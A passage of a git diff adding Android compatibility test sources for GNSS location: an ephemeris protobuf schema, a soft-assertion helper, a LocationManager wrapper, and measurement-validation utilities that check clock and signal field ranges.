+ <option name="package" value="android.location.cts.gnss" />
+ </test>
+
+</configuration>
diff --git a/tests/location/location_gnss/README.txt b/tests/location/location_gnss/README.txt
new file mode 100644
index 0000000..d091f58
--- /dev/null
+++ b/tests/location/location_gnss/README.txt
@@ -0,0 +1 @@
+These tests require a GNSS signal.
\ No newline at end of file
diff --git a/tests/location/location_gnss/protos/ephemeris.proto b/tests/location/location_gnss/protos/ephemeris.proto
new file mode 100644
index 0000000..a746401
--- /dev/null
+++ b/tests/location/location_gnss/protos/ephemeris.proto
@@ -0,0 +1,124 @@
+syntax = "proto2";
+
+package android.location.cts.gnss;
+// RPC service for providing ephemeris data
+
+
+message GpsTimeProto {
+ optional int64 nanosecond = 1;
+}
+
+message GpsEphemerisProto {
+ // Time used for generating this data (typically, the queried time).
+ optional GpsTimeProto data_time = 1;
+
+ // PRN.
+ optional int32 prn = 2;
+
+ // GPS week number.
+ optional int32 week = 3;
+
+ // Code on L2.
+ optional int32 l2_code = 4;
+
+ // L2 P data flag.
+ optional int32 l2_flag = 5;
+
+ // SV accuracy in meters.
+ optional double sv_accuracy_m = 6;
+
+ // SV health bits.
+ optional int32 sv_health = 7;
+
+ // Issue of data (ephemeris).
+ optional int32 iode = 8;
+
+ // Issue of data (clock).
+ optional int32 iodc = 9;
+
+ // Time of clock (second).
+ optional double toc = 10;
+
+ // Time of ephemeris (second).
+ optional double toe = 11;
+
+ // Transmission time of the message.
+ optional double tom = 12;
+
+ // Clock info (drift, bias, etc).
+ optional double af0 = 13;
+ optional double af1 = 14;
+ optional double af2 = 15;
+ optional double tgd = 16;
+
+ // Orbital parameters.
+ // Square root of semi-major axis
+ optional double root_of_a = 17;
+
+ // Eccentricity.
+ optional double e = 18;
+
+ // Inclination angle (radian).
+ optional double i_0 = 19;
+
+ // Rate of inclination angle (radians/sec).
+ optional double i_dot = 20;
+
+ // Argument of perigee.
+ optional double omega = 21;
+
+ // Longitude of ascending node of orbit plane at the beginning of week.
+ optional double omega_0 = 22;
+
+ // Rate of right ascension.
+ optional double omega_dot = 23;
+
+ // Mean anomaly at reference time.
+ optional double m_0 = 24;
+
+ // Mean motion difference from computed value.
+ optional double delta_n = 25;
+
+ // Amplitude of second-order harmonic perturbations.
+ optional double crc = 26;
+ optional double crs = 27;
+ optional double cuc = 28;
+ optional double cus = 29;
+ optional double cic = 30;
+ optional double cis = 31;
+
+ // FIT interval.
+ optional double fit_interval = 32;
+}
+
+// Klobuchar Ionospheric Model
+message IonosphericModelProto {
+ // Time used for generating this data (typically, the queried time).
+ optional GpsTimeProto data_time = 1;
+
+ // Amplitude parameters
+ repeated double alpha = 2;
+
+ // Period parameters.
+ repeated double beta = 3;
+}
+
+message UtcModelProto {
+ optional double a_0 = 1;
+ optional double a_1 = 2;
+ optional int64 tow = 3;
+ optional int32 leap_seconds = 4;
+}
+
+message GpsNavMessageProto {
+ // Status for the RPC call.
+ enum RpcStatus {
+ UNKNOWN_RPC_STATUS = 0;
+ SUCCESS = 1;
+ SERVER_ERROR = 2;
+ }
+ optional RpcStatus rpc_status = 1;
+ optional IonosphericModelProto iono = 2;
+ optional UtcModelProto utc_model = 3;
+ repeated GpsEphemerisProto ephemerids = 4;
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/common/GnssTestCase.java b/tests/location/location_gnss/src/android/location/cts/common/GnssTestCase.java
new file mode 100644
index 0000000..03f824e
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/common/GnssTestCase.java
@@ -0,0 +1,38 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.location.cts.common;
+
+import android.test.AndroidTestCase;
+
+/**
+ * Base Test Case class for all Gnss Tests.
+ *
+ * @deprecated Pointless base class, do not use.
+ */
+@Deprecated
+public abstract class GnssTestCase extends AndroidTestCase {
+
+ protected static boolean YEAR_2017_CAPABILITY_ENFORCED = false;
+
+ public TestLocationManager mTestLocationManager;
+
+ protected GnssTestCase() {
+ }
+
+ public boolean isCtsVerifierTest() {
+ return false;
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/common/SoftAssert.java b/tests/location/location_gnss/src/android/location/cts/common/SoftAssert.java
new file mode 100644
index 0000000..76d68f0
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/common/SoftAssert.java
@@ -0,0 +1,190 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import junit.framework.Assert;
+
+import android.util.Log;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Custom Assertion class. This is useful for doing multiple validations together
+ * without failing the test. Tests don’t stop running even if an assertion condition fails,
+ * but the test itself is marked as a failed test to indicate the right result
+ * at the end of the test.
+ */
+public class SoftAssert {
+
+ List<String> mErrorList;
+ private String mTag;
+
+ public SoftAssert(String source) {
+ mErrorList = new ArrayList<>();
+ mTag = source;
+ }
+
+ /**
+ * Check if condition is true
+ *
+ * @param message test message
+ * @param eventTimeInNs the time at which the condition occurred
+ * @param expectedResult expected value
+ * @param actualResult actual value
+ * @param condition condition for test
+ */
+ public void assertTrue(String message, Long eventTimeInNs, String expectedResult,
+ String actualResult, boolean condition) {
+ if (condition) {
+ Log.i(mTag, message + ", (Test: PASS, actual : " +
+ actualResult + ", expected: " + expectedResult + ")");
+ } else {
+ String errorMessage = "";
+ if (eventTimeInNs != null) {
+ errorMessage = "At time = " + eventTimeInNs + " ns, ";
+ }
+ errorMessage += message +
+ " (Test: FAIL, actual :" + actualResult + ", " +
+ "expected: " + expectedResult + ")";
+ Log.e(mTag, errorMessage);
+ mErrorList.add(errorMessage);
+ }
+ }
+
+ /**
+ * assertTrue without eventTime
+ *
+ * @param message test message
+ * @param expectedResult expected value
+ * @param actualResult actual value
+ * @param condition condition for test
+ */
+ public void assertTrue(String message, String expectedResult,
+ String actualResult, boolean condition) {
+ assertTrue(message, null, expectedResult, actualResult, condition);
+ }
+
+ /**
+ * Check if a condition is true.
+ * NOTE: A failure is downgraded to a warning.
+ *
+ * @param message the message associated with the condition
+ * @param eventTimeInNs the time at which the condition occurred
+ * @param expectedResult the expected result of the condition
+ * @param actualResult the actual result of the condition
+ * @param condition the condition status
+ */
+ public void assertTrueAsWarning(
+ String message,
+ long eventTimeInNs,
+ String expectedResult,
+ String actualResult,
+ boolean condition) {
+ if (condition) {
+ String formattedMessage = String.format(
+ "%s, (Test: PASS, actual : %s, expected : %s)",
+ message,
+ actualResult,
+ expectedResult);
+ Log.i(mTag, formattedMessage);
+ } else {
+ String formattedMessage = String.format(
+ "At time = %d ns, %s (Test: WARNING, actual : %s, expected : %s).",
+ eventTimeInNs,
+ message,
+ actualResult,
+ expectedResult);
+ failAsWarning(mTag, formattedMessage);
+ }
+ }
+
+ /**
+ * Check if condition is true
+ *
+ * @param message test message
+ * @param condition condition for test
+ */
+ public void assertTrue(String message, boolean condition) {
+ assertOrWarnTrue(true, message, condition);
+ }
+
+ /**
+ * Check if condition is true
+ *
+ * @param strict if true, add this to the failure list, else, log a warning message
+ * @param message message to describe the test - output on pass or fail
+ * @param condition condition for test
+ */
+ public void assertOrWarnTrue(boolean strict, String message, boolean condition) {
+ if (condition) {
+ Log.i(mTag, "(Test: PASS) " + message);
+ } else {
+ String errorMessage = "(Test: FAIL) " + message;
+ Log.i(mTag, errorMessage);
+ if (strict) {
+ mErrorList.add(errorMessage);
+ } else {
+ failAsWarning(mTag, errorMessage);
+ }
+ }
+ }
+
+ /**
+ * Assert all conditions together. This method collates all the failures and decides
+ * whether to fail the test or not at the end. This must be called at the end of the test.
+ */
+ public void assertAll() {
+ if (mErrorList.isEmpty()) {
+ Log.i(mTag, "All test pass.");
+ // Test pass if there are no error message in errorMessageSet
+ Assert.assertTrue(true);
+ } else {
+ StringBuilder message = new StringBuilder();
+ for (String msg : mErrorList) {
+ message.append(msg + "\n");
+ }
+ Log.e(mTag, "Failing tests are: \n" + message);
+ Assert.fail("Failing tests are: \n" + message);
+ }
+ }
+
+ /**
+ * A hard or soft failure, depending on the setting.
+ * TODO - make this cleaner - e.g. refactor this out completely: get rid of static methods,
+ * and make a class (say TestVerification) the only entry point for verifications,
+ * so strict vs not can be abstracted away test implementations.
+ */
+ public static void failOrWarning(boolean testIsStrict, String message, boolean condition) {
+ if (testIsStrict) {
+ Assert.assertTrue(message, condition);
+ } else {
+ if (!condition) {
+ failAsWarning("", message);
+ }
+ }
+ }
+
+ /**
+ * A soft failure. In the current state of the tests, it will only log a warning and let the
+ * test be reported as 'pass'.
+ */
+ public static void failAsWarning(String tag, String message) {
+ Log.w(tag, message + " [NOTE: in a future release this feature might become mandatory, and"
+ + " this warning will fail the test].");
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/common/TestLocationManager.java b/tests/location/location_gnss/src/android/location/cts/common/TestLocationManager.java
new file mode 100644
index 0000000..de13864
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/common/TestLocationManager.java
@@ -0,0 +1,247 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.content.Context;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssNavigationMessage;
+import android.location.GnssStatus;
+import android.location.LocationListener;
+import android.location.LocationManager;
+import android.os.Handler;
+import android.os.Looper;
+import android.util.Log;
+
+import junit.framework.Assert;
+
+/**
+ * A {@code LocationManager} wrapper that logs GNSS turn-on and turn-off.
+ */
+public class TestLocationManager {
+
+ private static final String TAG = "TestLocationManager";
+ private LocationManager mLocationManager;
+ private Context mContext;
+
+ public TestLocationManager(Context context) {
+ mContext = context;
+ mLocationManager =
+ (LocationManager) mContext.getSystemService(Context.LOCATION_SERVICE);
+ }
+
+ /**
+ * See {@code LocationManager#removeUpdates(LocationListener)}.
+ *
+ * @param listener the listener to remove
+ */
+ public void removeLocationUpdates(LocationListener listener) {
+ Log.i(TAG, "Remove Location updates.");
+ mLocationManager.removeUpdates(listener);
+ }
+
+ /**
+ * See {@link android.location.LocationManager#registerGnssMeasurementsCallback
+ * (GnssMeasurementsEvent.Callback callback)}
+ *
+ * @param callback the listener to add
+ */
+ public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback) {
+ Log.i(TAG, "Add Gnss Measurement Callback.");
+ boolean measurementListenerAdded =
+ mLocationManager.registerGnssMeasurementsCallback(callback);
+ if (!measurementListenerAdded) {
+ // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+ Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+ Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+ }
+ }
+
+ /**
+ * See {@link android.location.LocationManager#registerGnssMeasurementsCallback(GnssMeasurementsEvent.Callback callback)}
+ *
+ * @param callback the listener to add
+ * @param handler the handler that the callback runs at.
+ */
+ public void registerGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback,
+ Handler handler) {
+ Log.i(TAG, "Add Gnss Measurement Callback.");
+ boolean measurementListenerAdded =
+ mLocationManager.registerGnssMeasurementsCallback(callback, handler);
+ if (!measurementListenerAdded) {
+ // Registration of GnssMeasurements listener has failed, this indicates a platform bug.
+ Log.i(TAG, TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+ Assert.fail(TestMeasurementUtil.REGISTRATION_ERROR_MESSAGE);
+ }
+ }
+
+ /**
+ * See {@link android.location.LocationManager#unregisterGnssMeasurementsCallback
+ * (GnssMeasurementsEvent.Callback)}.
+ *
+ * @param callback the listener to remove
+ */
+ public void unregisterGnssMeasurementCallback(GnssMeasurementsEvent.Callback callback) {
+ Log.i(TAG, "Remove Gnss Measurement Callback.");
+ mLocationManager.unregisterGnssMeasurementsCallback(callback);
+ }
+
+ /**
+ * See {@code LocationManager#requestLocationUpdates}.
+ *
+ * @param locationListener location listener for request
+ */
+ public void requestLocationUpdates(LocationListener locationListener, int minTimeMsec) {
+ if (mLocationManager.getProvider(LocationManager.GPS_PROVIDER) != null) {
+ Log.i(TAG, "Request Location updates.");
+ mLocationManager.requestLocationUpdates(LocationManager.GPS_PROVIDER,
+ minTimeMsec,
+ 0 /* minDistance */,
+ locationListener,
+ Looper.getMainLooper());
+ }
+ }
+
+ /**
+ * See {@code LocationManager#requestLocationUpdates}.
+ *
+ * @param locationListener location listener for request
+ */
+ public void requestLocationUpdates(LocationListener locationListener) {
+ requestLocationUpdates(locationListener, 0 /* minTimeMsec */);
+ }
+
+ /**
+ * See {@code LocationManager#requestNetworkLocationUpdates}.
+ *
+ * @param locationListener location listener for request
+ */
+ public void requestNetworkLocationUpdates(LocationListener locationListener) {
+ if (mLocationManager.getProvider(LocationManager.NETWORK_PROVIDER) != null) {
+ Log.i(TAG, "Request Network Location updates.");
+ mLocationManager.requestLocationUpdates(LocationManager.NETWORK_PROVIDER,
+ 0 /* minTime*/,
+ 0 /* minDistance */,
+ locationListener,
+ Looper.getMainLooper());
+ }
+ }
+
+ /**
+ * See {@code LocationManager#requestLocationUpdates}.
+ *
+ * @param locationListener location listener for request
+ */
+ public void requestPassiveLocationUpdates(LocationListener locationListener, int minTimeMsec) {
+ if (mLocationManager.getProvider(LocationManager.PASSIVE_PROVIDER) != null) {
+ Log.i(TAG, "Request Passive Location updates.");
+ mLocationManager.requestLocationUpdates(LocationManager.PASSIVE_PROVIDER,
+ minTimeMsec,
+ 0 /* minDistance */,
+ locationListener,
+ Looper.getMainLooper());
+ }
+ }
+
+ /**
+ * See {@link android.location.LocationManager#sendExtraCommand}.
+ *
+ * @param command name of the command to send to the provider.
+ *
+ * @return true if the command succeeds.
+ */
+ public boolean sendExtraCommand(String command) {
+ Log.i(TAG, "Send Extra Command = " + command);
+ boolean extraCommandStatus = mLocationManager.sendExtraCommand(LocationManager.GPS_PROVIDER,
+ command, null);
+ Log.i(TAG, "Sent extra command (" + command + ") status = " + extraCommandStatus);
+ return extraCommandStatus;
+ }
+
+ /**
+ * Add a GNSS Navigation Message callback.
+ *
+ * @param callback a {@link GnssNavigationMessage.Callback} object to register.
+ * @return {@code true} if the listener was added successfully, {@code false} otherwise.
+ */
+ public boolean registerGnssNavigationMessageCallback(
+ GnssNavigationMessage.Callback callback) {
+ Log.i(TAG, "Add Gnss Navigation Message Callback.");
+ return mLocationManager.registerGnssNavigationMessageCallback(callback);
+ }
+
+ /**
+ * Add a GNSS Navigation Message callback.
+ *
+ * @param callback a {@link GnssNavigationMessage.Callback} object to register.
+ * @param handler the handler that the callback runs at.
+ * @return {@code true} if the listener was added successfully, {@code false} otherwise.
+ */
+ public boolean registerGnssNavigationMessageCallback(
+ GnssNavigationMessage.Callback callback, Handler handler) {
+ Log.i(TAG, "Add Gnss Navigation Message Callback.");
+ return mLocationManager.registerGnssNavigationMessageCallback(callback, handler);
+ }
+
+ /**
+ * Removes a GNSS Navigation Message callback.
+ *
+ * @param callback a {@link GnssNavigationMessage.Callback} object to remove.
+ */
+ public void unregisterGnssNavigationMessageCallback(GnssNavigationMessage.Callback callback) {
+ Log.i(TAG, "Remove Gnss Navigation Message Callback.");
+ mLocationManager.unregisterGnssNavigationMessageCallback(callback);
+ }
+
+ /**
+ * Add a GNSS Status callback.
+ *
+ * @param callback a {@link GnssStatus.Callback} object to register.
+ * @return {@code true} if the listener was added successfully, {@code false} otherwise.
+ */
+ public boolean registerGnssStatusCallback(GnssStatus.Callback callback) {
+ Log.i(TAG, "Add Gnss Status Callback.");
+ return mLocationManager.registerGnssStatusCallback(
+ callback, new Handler(Looper.getMainLooper()));
+ }
+
+ /**
+ * Removes a GNSS Status callback.
+ *
+ * @param callback a {@link GnssStatus.Callback} object to remove.
+ */
+ public void unregisterGnssStatusCallback(GnssStatus.Callback callback) {
+ Log.i(TAG, "Remove Gnss Status Callback.");
+ mLocationManager.unregisterGnssStatusCallback(callback);
+ }
+
+ /**
+ * Get LocationManager
+ *
+ * @return locationManager
+ */
+ public LocationManager getLocationManager() {
+ return mLocationManager;
+ }
+ /**
+ * Get Context
+ *
+ * @return context
+ */
+ public Context getContext() {
+ return mContext;
+ }
+}
diff --git a/tests/location/location_gnss/src/android/location/cts/common/TestMeasurementUtil.java b/tests/location/location_gnss/src/android/location/cts/common/TestMeasurementUtil.java
new file mode 100644
index 0000000..ae23c6e
--- /dev/null
+++ b/tests/location/location_gnss/src/android/location/cts/common/TestMeasurementUtil.java
@@ -0,0 +1,877 @@
+/*
+ * Copyright (C) 2015 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.common;
+
+import android.location.GnssClock;
+import android.location.GnssMeasurement;
+import android.location.GnssMeasurementsEvent;
+import android.location.GnssNavigationMessage;
+import android.location.GnssStatus;
+import android.location.LocationManager;
+import android.os.Build;
+import android.os.SystemProperties;
+import android.util.Log;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper class for GnssMeasurement Tests.
+ */
+public final class TestMeasurementUtil {
+
+ private static final String TAG = "TestMeasurementUtil";
+
+ private static final long NSEC_IN_SEC = 1000_000_000L;
+ // Generally carrier phase quality prr's have uncertainties around 0.001-0.05 m/s, vs.
+ // doppler energy quality prr's closer to 0.25-10 m/s. Threshold is chosen between those
+ // typical ranges.
+ private static final float THRESHOLD_FOR_CARRIER_PRR_UNC_METERS_PER_SEC = 0.15F;
+
+ // For gpsTimeInNs >= 1.14 * 10^18 (year 2016+)
+ private static final long GPS_TIME_YEAR_2016_IN_NSEC = 1_140_000_000L * NSEC_IN_SEC;
+
+ // Error message for GnssMeasurements Registration.
+ public static final String REGISTRATION_ERROR_MESSAGE = "Registration of GnssMeasurements" +
+ " listener has failed, this indicates a platform bug. Please report the issue with" +
+ " a full bugreport.";
+
+ private enum GnssBand {
+ GNSS_L1,
+ GNSS_L2,
+ GNSS_L5,
+ GNSS_E6
+ }
+
+ // The valid Gnss navigation message type as listed in
+ // android/hardware/libhardware/include/hardware/gps.h
+ public static final Set<Integer> GNSS_NAVIGATION_MESSAGE_TYPE =
+ new HashSet<Integer>(Arrays.asList(
+ GnssNavigationMessage.TYPE_UNKNOWN,
+ GnssNavigationMessage.TYPE_GPS_L1CA,
+ GnssNavigationMessage.TYPE_GPS_L2CNAV,
+ GnssNavigationMessage.TYPE_GPS_L5CNAV,
+ GnssNavigationMessage.TYPE_GPS_CNAV2,
+ GnssNavigationMessage.TYPE_GLO_L1CA,
+ GnssNavigationMessage.TYPE_BDS_D1,
+ GnssNavigationMessage.TYPE_BDS_D2,
+ GnssNavigationMessage.TYPE_GAL_I,
+ GnssNavigationMessage.TYPE_GAL_F
+ ));
+
+ /**
+ * Check if test can be run on the current device.
+ *
+ * @param testLocationManager TestLocationManager
+ * @return true if Build.VERSION >= Build.VERSION_CODES.N and Location GPS present on
+ * device.
+ */
+ public static boolean canTestRunOnCurrentDevice(TestLocationManager testLocationManager,
+ boolean isCtsVerifier) {
+ if (ApiLevelUtil.isBefore(Build.VERSION_CODES.N)) {
+ Log.i(TAG, "This test is designed to work on N or newer. " +
+ "Test is being skipped because the platform version is being run in " +
+ ApiLevelUtil.getApiLevel());
+ return false;
+ }
+
+ // If device does not have a GPS, skip the test.
+ if (!TestUtils.deviceHasGpsFeature(testLocationManager.getContext())) {
+ return false;
+ }
+
+ // If device has a GPS, but it's turned off in settings, and this is CTS verifier,
+ // fail the test now, because there's no point in going further.
+ // If this is CTS only,we'll warn instead, and quickly pass the test.
+ // (Cts non-verifier deep-indoors-forgiveness happens later, *if* needed)
+ boolean gpsProviderEnabled = testLocationManager.getLocationManager()
+ .isProviderEnabled(LocationManager.GPS_PROVIDER);
+ SoftAssert.failOrWarning(isCtsVerifier, " GPS location disabled on the device. " +
+ "Enable location in settings to continue test.", gpsProviderEnabled);
+ // If CTS only, allow an early exit pass
+ if (!isCtsVerifier && !gpsProviderEnabled) {
+ return false;
+ }
+
+ return true;
+ }
+
+ /**
+ * Check if pseudorange rate uncertainty in Gnss Measurement is in the expected range.
+ * See field description in {@code gps.h}.
+ *
+ * @param measurement GnssMeasurement
+ * @return true if this measurement has prr uncertainty in a range indicative of carrier phase
+ */
+ public static boolean gnssMeasurementHasCarrierPhasePrr(GnssMeasurement measurement) {
+ return (measurement.getPseudorangeRateUncertaintyMetersPerSecond() <
+ THRESHOLD_FOR_CARRIER_PRR_UNC_METERS_PER_SEC);
+ }
+
+ /**
+ * Assert all mandatory fields in Gnss Clock are in expected range.
+ * See mandatory fields in {@code gps.h}.
+ *
+ * @param clock GnssClock
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ */
+ public static void assertGnssClockFields(GnssClock clock,
+ SoftAssert softAssert,
+ long timeInNs) {
+ softAssert.assertTrue("time_ns: clock value",
+ timeInNs,
+ "X >= 0",
+ String.valueOf(timeInNs),
+ timeInNs >= 0L);
+
+ // If full bias is valid and accurate within one sec. verify its sign & magnitude
+ if (clock.hasFullBiasNanos() &&
+ ((!clock.hasBiasUncertaintyNanos()) ||
+ (clock.getBiasUncertaintyNanos() < NSEC_IN_SEC))) {
+ long gpsTimeInNs = timeInNs - clock.getFullBiasNanos();
+ softAssert.assertTrue("TimeNanos - FullBiasNanos = GpsTimeNanos: clock value",
+ gpsTimeInNs,
+ "gpsTimeInNs >= 1.14 * 10^18 (year 2016+)",
+ String.valueOf(gpsTimeInNs),
+ gpsTimeInNs >= GPS_TIME_YEAR_2016_IN_NSEC);
+ }
+ }
+
+ /**
+ * Asserts the same FullBiasNanos of multiple GnssMeasurementEvents at the same time epoch.
+ *
+ * <p>FullBiasNanos denotes the receiver clock bias calculated by the GNSS chipset. If multiple
+ * GnssMeasurementEvents are tagged with the same time epoch, their FullBiasNanos should be the
+ * same.
+ *
+ * @param softAssert custom SoftAssert
+ * @param events GnssMeasurementEvents. Each event includes one GnssClock with a
+ * fullBiasNanos.
+ */
+ public static void assertGnssClockHasConsistentFullBiasNanos(SoftAssert softAssert,
+ List<GnssMeasurementsEvent> events) {
+ Map<Long, List<Long>> timeToFullBiasList = new HashMap<>();
+ for (GnssMeasurementsEvent event : events) {
+ long timeNanos = event.getClock().getTimeNanos();
+ long fullBiasNanos = event.getClock().getFullBiasNanos();
+
+ timeToFullBiasList.putIfAbsent(timeNanos, new ArrayList<>());
+ List<Long> fullBiasNanosList = timeToFullBiasList.get(timeNanos);
+ fullBiasNanosList.add(fullBiasNanos);
+ }
+
+ for (Map.Entry<Long, List<Long>> entry : timeToFullBiasList.entrySet()) {
+ long timeNanos = entry.getKey();
+ List<Long> fullBiasNanosList = entry.getValue();
+ if (fullBiasNanosList.size() < 2) {
+ continue;
+ }
+ long fullBiasNanos = fullBiasNanosList.get(0);
+ for (int i = 1; i < fullBiasNanosList.size(); i++) {
+ softAssert.assertTrue("FullBiasNanos are the same at the same timeNanos",
+ timeNanos,
+ "fullBiasNanosList.get(i) - fullBiasNanosList.get(0) == 0",
+ String.valueOf(fullBiasNanosList.get(i) - fullBiasNanos),
+ fullBiasNanosList.get(i) - fullBiasNanos == 0);
+ }
+ }
+ }
+
+ /**
+ * Assert all mandatory fields in Gnss Measurement are in expected range.
+ * See mandatory fields in {@code gps.h}.
+ *
+ * @param testLocationManager TestLocationManager
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ */
+ public static void assertAllGnssMeasurementMandatoryFields(
+ TestLocationManager testLocationManager, GnssMeasurement measurement,
+ SoftAssert softAssert, long timeInNs) {
+
+ verifySvid(measurement, softAssert, timeInNs);
+ verifyReceivedSatelliteVehicleTimeInNs(measurement, softAssert, timeInNs);
+ verifyAccumulatedDeltaRanges(measurement, softAssert, timeInNs);
+
+ int state = measurement.getState();
+ softAssert.assertTrue("state: Satellite code sync state",
+ timeInNs,
+ "X >= 0",
+ String.valueOf(state),
+ state >= 0);
+
+ // Check received_gps_tow_uncertainty_ns
+ softAssert.assertTrueAsWarning("received_gps_tow_uncertainty_ns:" +
+ " Uncertainty of received GPS Time-of-Week in ns",
+ timeInNs,
+ "X > 0",
+ String.valueOf(measurement.getReceivedSvTimeUncertaintyNanos()),
+ measurement.getReceivedSvTimeUncertaintyNanos() > 0L);
+
+ long timeOffsetInSec = TimeUnit.NANOSECONDS.toSeconds(
+ (long) measurement.getTimeOffsetNanos());
+ softAssert.assertTrue("time_offset_ns: Time offset",
+ timeInNs,
+ "-100 seconds < X < +10 seconds",
+ String.valueOf(measurement.getTimeOffsetNanos()),
+ (-100 < timeOffsetInSec) && (timeOffsetInSec < 10));
+
+ softAssert.assertTrue("c_n0_dbhz: Carrier-to-noise density",
+ timeInNs,
+ "0.0 >= X <=63",
+ String.valueOf(measurement.getCn0DbHz()),
+ measurement.getCn0DbHz() >= 0.0 &&
+ measurement.getCn0DbHz() <= 63.0);
+
+ softAssert.assertTrue("pseudorange_rate_uncertainty_mps: " +
+ "Pseudorange Rate Uncertainty in m/s",
+ timeInNs,
+ "X > 0.0",
+ String.valueOf(
+ measurement.getPseudorangeRateUncertaintyMetersPerSecond()),
+ measurement.getPseudorangeRateUncertaintyMetersPerSecond() > 0.0);
+
+ verifyGnssCarrierFrequency(softAssert, testLocationManager,
+ measurement.hasCarrierFrequencyHz(),
+ measurement.hasCarrierFrequencyHz() ? measurement.getCarrierFrequencyHz() : 0F);
+
+ // Check carrier_phase.
+ if (measurement.hasCarrierPhase()) {
+ softAssert.assertTrue("carrier_phase: Carrier phase",
+ timeInNs,
+ "0.0 >= X <= 1.0",
+ String.valueOf(measurement.getCarrierPhase()),
+ measurement.getCarrierPhase() >= 0.0 && measurement.getCarrierPhase() <= 1.0);
+ }
+
+ // Check carrier_phase_uncertainty..
+ if (measurement.hasCarrierPhaseUncertainty()) {
+ softAssert.assertTrue("carrier_phase_uncertainty: 1-Sigma uncertainty of the " +
+ "carrier-phase",
+ timeInNs,
+ "X > 0.0",
+ String.valueOf(measurement.getCarrierPhaseUncertainty()),
+ measurement.getCarrierPhaseUncertainty() > 0.0);
+ }
+
+ // Check GNSS Measurement's multipath_indicator.
+ softAssert.assertTrue("multipath_indicator: GNSS Measurement's multipath indicator",
+ timeInNs,
+ "0 >= X <= 2",
+ String.valueOf(measurement.getMultipathIndicator()),
+ measurement.getMultipathIndicator() >= 0
+ && measurement.getMultipathIndicator() <= 2);
+
+
+ // Check Signal-to-Noise ratio (SNR).
+ if (measurement.hasSnrInDb()) {
+ softAssert.assertTrue("snr: Signal-to-Noise ratio (SNR) in dB",
+ timeInNs,
+ "0.0 >= X <= 63",
+ String.valueOf(measurement.getSnrInDb()),
+ measurement.getSnrInDb() >= 0.0 && measurement.getSnrInDb() <= 63);
+ }
+
+ if (measurement.hasAutomaticGainControlLevelDb()) {
+ softAssert.assertTrue("Automatic Gain Control level in dB",
+ timeInNs,
+ "-100 >= X <= 100",
+ String.valueOf(measurement.getAutomaticGainControlLevelDb()),
+ measurement.getAutomaticGainControlLevelDb() >= -100
+ && measurement.getAutomaticGainControlLevelDb() <= 100);
+ }
+
+ }
+
+ /**
+ * Verify accumulated delta ranges are in expected range.
+ *
+ * @param measurement GnssMeasurement
+ * @param softAssert custom SoftAssert
+ * @param timeInNs event time in ns
+ */
+ private static void verifyAccumulatedDeltaRanges(GnssMeasurement measurement,
+ SoftAssert softAssert, long timeInNs) {
+
+ int accumulatedDeltaRangeState = measurement.getAccumulatedDeltaRangeState();
+ softAssert.assertTrue("accumulated_delta_range_state: " +
+ "Accumulated delta range state",
+ timeInNs,
+ "X & ~ADR_STATE_ALL == 0",
+ String.valueOf(accumulatedDeltaRangeState),
+ (accumulatedDeltaRangeState & ~GnssMeasurement.ADR_STATE_ALL) == 0);
+ softAssert.assertTrue("accumulated_delta_range_state: " +
+ "Accumulated delta range state",
+ timeInNs,
+ "ADR_STATE_HALF_CYCLE_REPORTED, or !ADR_STATE_HALF_CYCLE_RESOLVED",
+ String.valueOf(accumulatedDeltaRangeState),
